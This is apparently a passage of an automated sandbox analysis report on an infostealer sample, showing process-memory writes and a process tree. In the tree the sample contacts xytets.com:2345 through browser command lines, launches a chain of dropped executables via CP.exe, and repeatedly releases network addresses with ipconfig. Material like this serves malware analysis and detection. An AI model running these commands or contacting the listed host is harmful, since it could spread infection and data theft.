PID 4384 wrote to memory of 5676	4384	msedge.exe	113
PID 4384 wrote to memory of 5912	4384	msedge.exe	112
PID 4384 wrote to memory of 5676	4384	msedge.exe	113
PID 4384 wrote to memory of 5168	4384	msedge.exe	115
PID 4384 wrote to memory of 1936	4384	msedge.exe	116
PID 4384 wrote to memory of 1936	4384	msedge.exe	116
PID 4384 wrote to memory of 5932	4384	msedge.exe	117
PID 4384 wrote to memory of 5932	4384	msedge.exe	117
PID 4384 wrote to memory of 3776	4384	msedge.exe	120
PID 4384 wrote to memory of 3776	4384	msedge.exe	120
PID 4384 wrote to memory of 2876	4384	msedge.exe	121
PID 4384 wrote to memory of 2876	4384	msedge.exe	121
PID 4336 wrote to memory of 5996	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	122
PID 4336 wrote to memory of 3660	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 2920 wrote to memory of 2588	2920	qoigayvtnl.exe	128
PID 4336 wrote to memory of 5352	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	131
PID 4336 wrote to memory of 3004	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	135
PID 4172 wrote to memory of 2208	4172	qnigayvqni.exe	137
PID 4336 wrote to memory of 4688	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	140
PID 4336 wrote to memory of 5864	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	144
PID 2540 wrote to memory of 3012	2540	kidavqnifa.exe	146
PID 4336 wrote to memory of 5756	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	150
PID 4384 wrote to memory of 3936	4384	msedge.exe	152
PID 4384 wrote to memory of 5916	4384	msedge.exe	153
PID 4384 wrote to memory of 4844	4384	msedge.exe	154
PID 4336 wrote to memory of 3592	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	157
PID 3624 wrote to memory of 5892	3624	ausmkfcaxv.exe	159
PID 4336 wrote to memory of 3352	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	162
PID 4336 wrote to memory of 2012	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	166
PID 2728 wrote to memory of 4672	2728	aurpnkeczu.exe	168

C:\Users\Admin\AppData\Local\Temp\2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    PID:1356
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ff80494c188,0x7ff80494c194,0x7ff80494c1a0
      4⤵
      PID:1276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2132,i,9700887945199308398,14856105764994517888,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:11
      4⤵
      System Time Discovery
      PID:260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1976,i,7840592369012252261,13483545257121961385,262144 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
      4⤵
      PID:800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2600,i,8093800490702496856,9065987757519083220,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:13
      4⤵
      PID:5408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,5075574766017671859,11775285692352025680,2097152 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:1
      4⤵
      PID:2308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3612,i,15057260264551178066,2160700498633324993,2097152 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:1
      4⤵
      PID:4956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4292,i,18030780499572599532,2115875198230607088,2097152 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:1
      4⤵
      PID:4772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,11396300630957116897,11758705365103536600,2097152 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:9
      4⤵
      PID:5956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4448,i,15996498391132770724,7506517711873994247,2097152 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:1
      4⤵
      PID:4396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5452,i,13711560109116742064,11894835121183050691,2097152 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:1
      4⤵
      PID:612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5672,i,15924628959514063186,12759086284729559802,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:14
      4⤵
      PID:1696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,5185716787653050874,15899072816330993036,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:14
      4⤵
      PID:5912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5720,i,4348594626580340744,17987225253092957261,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:14
      4⤵
      PID:5676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,10856777186612857326,4320649430736469771,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:14
      4⤵
      PID:4208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,10856777186612857326,4320649430736469771,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:14
      4⤵
      PID:5168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,18026008735587127175,462804701687018492,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
      4⤵
      PID:1936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6652,i,5452710404645300752,16272414590375079985,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:14
      4⤵
      PID:5932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,16113618267406113579,782869022797591076,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:14
      4⤵
      PID:3776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6920,i,4949244304444412510,16082038667662898643,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:14
      4⤵
      PID:2876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1272,i,11578967069555903308,12879099872203623914,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=1408 /prefetch:14
      4⤵
      PID:3936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,17818949758860674442,14900187449691159341,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=1260 /prefetch:14
      4⤵
      PID:5916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,3581726809910119421,19668357124365742,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:14
      4⤵
      PID:4844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5720,i,4444464107678526900,4149982567910166645,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:14
      4⤵
      PID:4092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1448,i,11685934268479528357,1820403429229577098,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
      4⤵
      PID:4140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,1391259816430815638,812026957058851167,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
      4⤵
      PID:4324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,1015323918958001429,786192603919403609,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=1124 /prefetch:14
      4⤵
      PID:3668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4080,i,9417661786552647264,4044848026706037178,262144 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:10
      4⤵
      PID:1280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,13898053712517832620,3437298411811481079,524288 --field-trial-handle=2332,i,15788683157874080617,17868174219166761607,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:14
      4⤵
      PID:4280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lgbvtojgbt.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5848
- - C:\Temp\lgbvtojgbt.exe
    C:\Temp\lgbvtojgbt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4272
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lgbvtojgbt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5996
- - C:\Temp\i_lgbvtojgbt.exe
    C:\Temp\i_lgbvtojgbt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2024
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qoigayvtnl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3660
- - C:\Temp\qoigayvtnl.exe
    C:\Temp\qoigayvtnl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2588
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1388
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qoigayvtnl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5352
- - C:\Temp\i_qoigayvtnl.exe
    C:\Temp\i_qoigayvtnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3432
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qnigayvqni.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3004
- - C:\Temp\qnigayvqni.exe
    C:\Temp\qnigayvqni.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2208
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qnigayvqni.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4688
- - C:\Temp\i_qnigayvqni.exe
    C:\Temp\i_qnigayvqni.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1448
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kidavqnifa.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5864
- - C:\Temp\kidavqnifa.exe
    C:\Temp\kidavqnifa.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3012
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3504
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kidavqnifa.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5756
- - C:\Temp\i_kidavqnifa.exe
    C:\Temp\i_kidavqnifa.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ausmkfcaxv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3592
- - C:\Temp\ausmkfcaxv.exe
    C:\Temp\ausmkfcaxv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3624
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5892
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4632
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ausmkfcaxv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3352
- - C:\Temp\i_ausmkfcaxv.exe
    C:\Temp\i_ausmkfcaxv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aurpnkeczu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2012
- - C:\Temp\aurpnkeczu.exe
    C:\Temp\aurpnkeczu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4672
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1936
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aurpnkeczu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3496
- - C:\Temp\i_aurpnkeczu.exe
    C:\Temp\i_aurpnkeczu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4668
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\czurmhecwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4604
- - C:\Temp\czurmhecwu.exe
    C:\Temp\czurmhecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3856
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3600
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_czurmhecwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:984
- - C:\Temp\i_czurmhecwu.exe
    C:\Temp\i_czurmhecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgezwromh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5260
- - C:\Temp\omgezwromh.exe
    C:\Temp\omgezwromh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2696
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1340
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5404
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgezwromh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6020
- - C:\Temp\i_omgezwromh.exe
    C:\Temp\i_omgezwromh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2928
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ojgbztrojg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5384
- - C:\Temp\ojgbztrojg.exe
    C:\Temp\ojgbztrojg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2780
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3092
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ojgbztrojg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3360
- - C:\Temp\i_ojgbztrojg.exe
    C:\Temp\i_ojgbztrojg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bytrljdbvt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6104
- - C:\Temp\bytrljdbvt.exe
    C:\Temp\bytrljdbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3516
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4816
